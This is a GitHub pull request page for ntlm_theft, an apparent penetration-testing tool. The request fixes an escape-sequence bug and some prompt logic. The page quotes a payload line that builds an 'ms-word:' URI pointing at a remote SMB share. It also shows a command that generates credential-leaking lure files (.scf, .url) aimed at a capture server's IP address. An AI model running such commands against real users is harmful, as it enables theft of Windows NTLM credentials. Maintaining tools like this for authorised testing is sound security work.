Skip to content

Fixed the invalid escape sequence in the HTML handler function#17

Open
pwnter wants to merge 1 commit into
Greenwolf:masterfrom
pwnter:master
Open

Fixed the invalid escape sequence in the HTML handler function#17
pwnter wants to merge 1 commit into
Greenwolf:masterfrom
pwnter:master

Conversation

@pwnter

@pwnter pwnter commented Jan 3, 2026

Copy link
Copy Markdown

Fixed the invalid escape sequence in the HTML handler function

➜ python3 ntlm_theft.py --help
/tmp/www/ntlm_theft/ntlm_theft.py:168: SyntaxWarning: invalid escape sequence '\l'
  location.href = 'ms-word:ofe|u|\\''' + server + '''\leak\leak.docx';
usage: ntlm_theft.py --generate all --server <ip_of_smb_catcher_server> --filename <base_file_name>
...[snip]...

Fixes:

  • Line 175: Fixed the invalid escape sequence in the HTML handler function by changing \l to \\l
  • Lines 531-535: Fixed the user prompt logic to properly handle the input response
➜ python3 ntlm_theft.py -g all -s 10.0.0.128 -f ntlm

Created: ntlm/ntlm.scf (BROWSE TO FOLDER)
Created: ntlm/ntlm-(url).url (BROWSE TO FOLDER)
Created: ntlm/ntlm-(icon).url (BROWSE TO FOLDER)
...[snip]...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant